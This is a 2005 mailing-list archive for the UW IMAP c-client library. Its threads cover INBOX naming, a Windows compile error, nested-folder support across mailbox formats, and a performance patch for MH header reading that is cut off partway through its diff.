mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AJraTS031903 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 10 Mar 2005 11:53:36 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AJrZwI006601; Thu, 10 Mar 2005 11:53:35 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AJrZxR005064; Thu, 10 Mar 2005 11:53:35 -0800 Message-Id: Date: Thu, 10 Mar 2005 11:53:35 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Bruce Shaw Cc: c-client Interest List Subject: RE: Solaris imap-2004c1 can't find mailbox In-Reply-To: <942CA19082ED6F46AE1CD8C4A0A9A66DA2C73F@excedm2gwba.env.gov.ab.ca> References: <942CA19082ED6F46AE1CD8C4A0A9A66DA2C73F@excedm2gwba.env.gov.ab.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Mar 2005, Bruce Shaw wrote: > OK, now I'm confused. Back awhile ago I was using a variant of cyrus-IMAP > that required a specific file named "INBOX" to be sitting in your home > directory. Yes, you're confused, and I think that it's a good idea to resolve the confusion, because otherwise you may have substantial problems in the future. Cyrus IMAP uses its own file structure (no home directories), so I don't think that you were using Cyrus (or if you were you've misunderstood what was going on). >>> I'm not using INBOX. I'm using /var/mail/whatever-the-user-name-is. >> When you give a specific filename, then a file by that name must exist. > I'm relying upon sendmail to handle mail file creation. It has a mind of > its own. That's unimportant. See below. >> However, there is no reason why you should need to do this; to refererence >> your own mailbox, you should always use the name INBOX. > Sendmail does not support that AFAIK. This is unimportant. INBOX is not a sendmail concept; it is an IMAP concept. The IMAP server accepts the name INBOX from the IMAP client, and the IMAP server knows how to translate the concept of INBOX into whatever your mailer (e.g. sendmail uses). More importantly, IMAP knows that INBOX always exists (even if there is currently no corresponding file on the filesystem -- it treats that situation as an empty INBOX). There is no need to reference the /var/mail/ file by that name from an IMAP client. Use INBOX in the IMAP client, and let the IMAP server do the magic that it does so well. The whole point of INBOX is that the IMAP client does not ever need to know what sort of mailer you have; you may have sendmail, Exchange, or Bombastic Blurdybloop's Best Bit Basher. As far as the IMAP client is concerned, it's all INBOX. >> Use of the name INBOX prevents this problem. > Hence we were creating the /var/mail/whatever file and populating it with a > dummy record. I suspect the nature of that dummy record may have changed > from version 2000 to 2004. In effect, you didn't understand the magic that was going on, and you used magic to try to get the right result. Unbeknownst to you, it was black magic. There is one of those fortunate cases where you can solve the problem by doing less instead of more. Don't create files with those dummy records (just let the software do it), and don't try to use the /var/mail names; just use INBOX and let all the good magic work for you. :-) Good luck. Please keep me informed on how it goes. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Mar 16 03:55:08 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Mar 2005 03:55:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2GBt83x009501 for ; Wed, 16 Mar 2005 03:55:08 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2GBt72Q001509 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 16 Mar 2005 03:55:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j2GBsxcF009426; Wed, 16 Mar 2005 03:54:59 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2GBrNSu051996 for ; Wed, 16 Mar 2005 03:53:23 -0800 Received: from wmail04dat.netvigator.com (wmail04.netvigator.com [218.102.48.219]) by mxe5.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2GBrLYv009545 for ; Wed, 16 Mar 2005 03:53:22 -0800 Received: from alexcd9t4f0rbw ([218.102.225.62]) by wmail04dat.netvigator.com (InterMail vM.6.01.03.02 201-2131-111-104-20040324) with SMTP id <20050316115321.BXHX24982.wmail04dat.netvigator.com@alexcd9t4f0rbw> for ; Wed, 16 Mar 2005 19:53:21 +0800 Message-Id: <00cc01c52a1e$c1239fd0$0100a8c0@alexcd9t4f0rbw> Date: Wed, 16 Mar 2005 19:53:17 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Golibasku" To: Subject: win32 program use c-client cannot compile MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="big5"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, LOCALE_CHINESE 0, __CHAR_CHINESE_CT 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_PRIORITY 0, __MIME_CHARSET_FARAWAY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear all, One of my win32 program use the c-client. When i compile, i get a lot of errors. e:\project\abc\ab\library\imap-2004c1\c-client\mail.h(471) : warning C4005: 'ERROR' : macro redefinition c:\program files\microsoft sdk\include\wingdi.h(98) : see previous definition of 'ERROR' e:\project\abc\ab\library\imap-2004c1\c-client\mail.h(760) : error C2059: syntax error : 'private' e:\project\abc\ab\library\imap-2004c1\c-client\mail.h(760) : error C2238: unexpected token(s) preceding ';' e:\project\abc\ab\library\imap-2004c1\c-client\mail.h(1052) : error C2059: syntax error : 'private' e:\project\abc\ab\library\imap-2004c1\c-client\mail.h(1052) : error C2238: unexpected token(s) preceding ';' I compile in VS 6.0 with PSDK installed. I can compile by using the makefile. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 17 14:50:07 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Mar 2005 14:50:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2HMo7HF024213 for ; Thu, 17 Mar 2005 14:50:07 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2HMo6UZ016207 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 17 Mar 2005 14:50:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j2HMnw2D008730; Thu, 17 Mar 2005 14:49:58 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2HMmRdp070008 for ; Thu, 17 Mar 2005 14:48:27 -0800 Received: from mail.laszlosystems.com (mail.laszlosystems.com [198.144.202.70]) by mxe1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2HMmQeO024870 for ; Thu, 17 Mar 2005 14:48:26 -0800 Received: from [192.168.42.96] ([]) by mail.laszlosystems.com (Merak 5.5.6) with SMTP id HQA74142 for ; Thu, 17 Mar 2005 14:48:26 -0800 Message-Id: <2d0ffd0ee4aaa46bd5119bae54a2238b@laszlosystems.com> Date: Thu, 17 Mar 2005 14:48:27 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Joseph Silverman To: c-client@u.washington.edu Subject: Question about nested folders.. Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 Can uw Imap (c-client) create nested folders? How do I do this? I read, somewhere, that this required using the .mbx format for mailboxes. So I recompiled imapd changing the default format to mbx. After some unpleasant experiences trying to get tmail to work with sendmail (can't figure out how to do it in sendmail.mc so did it directly in sendmail.cf - and, tmail has to be in /usr/bin (or the like) and can't be in /home/USER/..) Anyway, after doing all this, and successfully sending mail into sendmail which gets deposited in an INBOX in the user's directory, I still can get my client to create sub-folders that aren't at the top level. Is this possible? Thanks for your help - Yossie -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 17 15:13:06 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Mar 2005 15:13:06 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2HND6Is025187 for ; Thu, 17 Mar 2005 15:13:06 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2HND5DD017391 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 17 Mar 2005 15:13:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j2HNCsKQ010790; Thu, 17 Mar 2005 15:12:55 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2HNC76N055274 for ; Thu, 17 Mar 2005 15:12:07 -0800 Received: from mail.laszlosystems.com (mail.laszlosystems.com [198.144.202.70]) by mxe2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2HNC6fn029787 for ; Thu, 17 Mar 2005 15:12:06 -0800 Received: from [192.168.42.96] ([]) by mail.laszlosystems.com (Merak 5.5.6) with SMTP id HQA74142 for ; Thu, 17 Mar 2005 15:12:05 -0800 Message-Id: <84fcd9c78ffc84bf688f49640c2dd7ef@laszlosystems.com> Date: Thu, 17 Mar 2005 15:12:06 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Joseph Silverman To: c-client@u.washington.edu Subject: followup on email about nested directories.. Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 What I need to do, and am hoping that uw imap will do, is create subfolders within folders. So, for example, I could create folder X that contains messages and then put folder Y into it. I realize that both mbox and mbx formats are flat files and thus it seems UNLIKELY that this can be done. However, I am asking, IS THERE A WAY that I can do this with ANY uw imap supported options? THANKS - Joseph -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 17 16:12:12 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Mar 2005 16:12:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I0CBjw027550 for ; Thu, 17 Mar 2005 16:12:11 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I0CAB0020304 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 17 Mar 2005 16:12:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j2I0C56Y015090; Thu, 17 Mar 2005 16:12:05 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I0BGlL060372 for ; Thu, 17 Mar 2005 16:11:16 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I0BGSN020133 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 17 Mar 2005 16:11:16 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I0BFFp006812; Thu, 17 Mar 2005 16:11:15 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I0BFOn028882 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 17 Mar 2005 16:11:15 -0800 Message-Id: Date: Thu, 17 Mar 2005 16:09:12 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Joseph Silverman Cc: c-client@u.washington.edu Subject: Re: followup on email about nested directories.. In-Reply-To: <84fcd9c78ffc84bf688f49640c2dd7ef@laszlosystems.com> References: <84fcd9c78ffc84bf688f49640c2dd7ef@laszlosystems.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 In order to create mailboxes within a mailbox, you need to use a mailbox format which supports this "dual-use". mbx format is not such a format; nor is traditional UNIX mailbox format. The dual-use mailbox formats supported in the distribution version of c-client are mh, mx, and news. Personally, I think that "dual-use" is a bad idea from a user interface point of view, since that means that for a name you have to have a separate "open as mailbox" and "open as directory" operation. But this seems to be a matter of religion. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Mar 17 18:18:21 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Mar 2005 18:18:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I2ILhW031804 for ; Thu, 17 Mar 2005 18:18:21 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I2IKRN025934 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 17 Mar 2005 18:18:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j2I2IFv3014874; Thu, 17 Mar 2005 18:18:15 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I2HK4u050794 for ; Thu, 17 Mar 2005 18:17:21 -0800 Received: from albert.micropp.se (157-3.sandnet.se [62.168.157.3] (may be forged)) by mxe7.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I2HJqE032747 for ; Thu, 17 Mar 2005 18:17:20 -0800 Received: from localhost (localhost [127.0.0.1]) by albert.micropp.se (Postfix) with ESMTP id D57E34900B7; Fri, 18 Mar 2005 03:17:17 +0100 (CET) Received: from albert.micropp.se ([127.0.0.1]) by localhost (albert [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 31341-08; Fri, 18 Mar 2005 03:17:13 +0100 (CET) Received: from [62.168.157.3] (albert.micropp.se [62.168.157.3]) by albert.micropp.se (Postfix) with ESMTP id 521A24900A0; Fri, 18 Mar 2005 03:17:13 +0100 (CET) Message-Id: <423A3A28.3090702@micropp.se> Date: Fri, 18 Mar 2005 03:17:12 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Hallberg To: Mark Crispin Cc: Joseph Silverman , c-client@u.washington.edu Subject: Re: followup on email about nested directories.. In-Reply-To: References: <84fcd9c78ffc84bf688f49640c2dd7ef@laszlosystems.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at micropp.se X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 Mark Crispin wrote: > In order to create mailboxes within a mailbox, you need to use a > mailbox format which supports this "dual-use". > > mbx format is not such a format; nor is traditional UNIX mailbox format. That is doable. Just deside on a special mailbox name to be the folders 'own' mailbox, let just call it mbox0 for now. If You try to access a folder as a mailbox, open folder/mbox0. If You try to access a mbox as a folder, just report it as empty. If someone try to save to a folder that's an mbox, create an temp folder. Move the mbox ther as tmpfolder/mbox0, move tmpfolder to the original mbox name, then proceed with the save. Will likly break other tools, but only if people actuly *us* the feature. > Personally, I think that "dual-use" is a bad idea from a user > interface point of view, since that means that for a name you have to > have a separate "open as mailbox" and "open as directory" operation. The ui isue is solwed long time ago. Standard 'treeview' with a + or arrow to expand a node, and some icon to select it. > But this seems to be a matter of religion. Yeha, but I actuly have found a use for it. I sort mail in differnt folder, and for each folder mail older than one year in one folder for each year. Would clean up my folderlisting *allot* to make thes yearly folders subfolders to 'ther' mailbox. While keeping them in the same spot. /LaH From pinedev@shivax2.cac.washington.edu Thu Mar 17 23:21:57 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Mar 2005 23:21:57 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I7Lv2t009166 for ; Thu, 17 Mar 2005 23:21:57 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I7LtjT025857 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 17 Mar 2005 23:21:56 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j2I7Lm8s011274; Thu, 17 Mar 2005 23:21:49 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I7KkxH116546 for ; Thu, 17 Mar 2005 23:20:46 -0800 Received: from mail11.bluewin.ch (mail11.bluewin.ch [195.186.18.61]) by mxe7.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2I7Kj6f031288 for ; Thu, 17 Mar 2005 23:20:46 -0800 Received: from localhost (83.77.74.111) by mail11.bluewin.ch (Bluewin AG 7.0.035) id 4219D4CF004D9ECC; Fri, 18 Mar 2005 07:20:45 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1DCBme-0000bc-00; Fri, 18 Mar 2005 08:20:36 +0100 Message-Id: Date: Fri, 18 Mar 2005 08:20:36 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: c-client@u.washington.edu Cc: Joseph Silverman Subject: Re: followup on email about nested directories.. In-Reply-To: References: <84fcd9c78ffc84bf688f49640c2dd7ef@laszlosystems.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 On Thu, 17 Mar 2005, Mark Crispin wrote: > In order to create mailboxes within a mailbox, you need to use a mailbox > format which supports this "dual-use". > > mbx format is not such a format; nor is traditional UNIX mailbox format. > > The dual-use mailbox formats supported in the distribution version of > c-client are mh, mx, and news. Additionaly to this, you are not very supportive of the mh format, so it can be considered half-supported (can I say it that way). AFAIK Maildir supports what you want, there are add-on patches available, f.ex. here [1]. It seems to be actively maintained However I don't know how well it works. *t [1] http://www.math.washington.edu/~chappa/pine/info/maildir.html -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Thu Mar 24 13:06:33 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Mar 2005 13:06:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2OL6W8M031726 for ; Thu, 24 Mar 2005 13:06:32 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2OL6U8F023631 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 24 Mar 2005 13:06:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j2OL6Kat012114; Thu, 24 Mar 2005 13:06:21 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2OL4oce098638 for ; Thu, 24 Mar 2005 13:04:50 -0800 Received: from relay2.ptc.com (relay2.ptc.com [12.11.148.122]) by mxe1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2OL4nEw027677 for ; Thu, 24 Mar 2005 13:04:49 -0800 Received: from hq-exfe4.ptcnet.ptc.com (132.253.201.83) by relay2.ptc.com with ESMTP; 24 Mar 2005 16:06:02 -0500 Received: from rachel.ptc.com ([132.253.26.62]) by HQ-EXFE4.ptcnet.ptc.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 24 Mar 2005 16:05:17 -0500 Received: from [127.0.0.1] (localhost [127.0.0.1]) by rachel.ptc.com (8.11.7p1+Sun/8.11.7) with ESMTP id j2OL4iC07534 for ; Thu, 24 Mar 2005 16:04:48 -0500 (EST) Message-Id: <42432B6C.4020404@bk.ru> Date: Thu, 24 Mar 2005 16:04:44 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Michael Klepikov To: c-client@u.washington.edu Subject: mh_header performance patch MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------060202010904070702030107" X-IronPort-AV: i="3.91,120,1110171600"; d="scan'208"; a="14169488:sNHT27180824" X-Accept-Language: en-us, en, de-de, ja, zh-tw, zh-cn, zh-hk, zh-sg X-OriginalArrivalTime: 24 Mar 2005 21:05:17.0105 (UTC) FILETIME=[2E20EA10:01C530B5] X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.136 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------060202010904070702030107 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I read my MH mail from two clients: Emacs MH mode, directly from the MH dirs, and Mozilla via the UW IMAP server. The IMAP server frequently re-reads my mailboxes, which are sometimes large (e.g. 4k, 6k messages), and it was taking a long time. I found that the routine mh_headers always reads the entire message no matter how long it is and always does strcrlfcpy on the entire body, while I certainly won't be requesting all the bodies in the client. I felt it is doing unnecessary work, both I/O and CPU. I made a change so that mh_headers reads only the beginning of each message file in 4kb chunks until it reaches the end of headers. I reorganized the code a bit, to avoid duplication between mh_headers and mh_text which requires both headers and body. Empirically, there tends to be not more than 3kb of headers in my messages, so 4kb seems like a good compromise. I didn't make it configurable, just hardcoded 4096. After the change, folder scan time for 6k messages went down from 20+s to ~13s on a dual CPU Sunblade-2500 running Solaris 8, with Mozilla 1.7.3 and imapd running on the same machine. Everything seems to work. I verified with debug logging that I actually do go through the header-only branch. diff -c patch attached. Please feel free to adjust as necessary. --Michael Klepikov --------------060202010904070702030107 Content-Type: text/plain; name="mh.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="mh.patch" *** imap-2004c1.klm/src/osdep/unix/mh.c Thu Mar 24 15:43:50 2005 --- imap-2004c1/src/osdep/unix/mh.c Thu Mar 24 15:12:49 2005 *************** *** 565,580 **** if (mail_elt (stream,i)->sequence) mh_header (stream,i,&j,NIL); } ! /* MH mail fetch message header * Accepts: MAIL stream * message # to fetch * pointer to returned header text length * option flags * Returns: message header in RFC822 format */ ! char *mh_header (MAILSTREAM *stream,unsigned long msgno,unsigned long *length, ! long flags) { unsigned long i,hdrsize; int fd; --- 565,581 ---- if (mail_elt (stream,i)->sequence) mh_header (stream,i,&j,NIL); } ! /* MH mail fetch message header and (optionally) text * Accepts: MAIL stream * message # to fetch * pointer to returned header text length * option flags + * a boolean flag whether or not need msg text * Returns: message header in RFC822 format */ ! char *mh_msg_fetch (MAILSTREAM *stream,unsigned long msgno, ! unsigned long *length, long flags, int need_text) { unsigned long i,hdrsize; int fd; *************** *** 585,591 **** *length = 0; /* default to empty */ if (flags & FT_UID) return "";/* UID call "impossible" */ elt = mail_elt (stream,msgno);/* get elt */ ! if (!elt->private.msg.header.text.data) { /* purge cache if too big */ if (LOCAL->cachedtexts > max (stream->nmsgs * 4096,2097152)) { mail_gc (stream,GC_TEXTS);/* just can't keep that much */ --- 586,593 ---- *length = 0; /* default to empty */ if (flags & FT_UID) return "";/* UID call "impossible" */ elt = mail_elt (stream,msgno);/* get elt */ ! if (!elt->private.msg.header.text.data || ! (need_text && !elt->private.msg.text.text.data)) { /* purge cache if too big */ if (LOCAL->cachedtexts > max (stream->nmsgs * 4096,2097152)) { mail_gc (stream,GC_TEXTS);/* just can't keep that much */ *************** *** 608,634 **** LOCAL->buf = (char *) fs_get ((LOCAL->buflen = 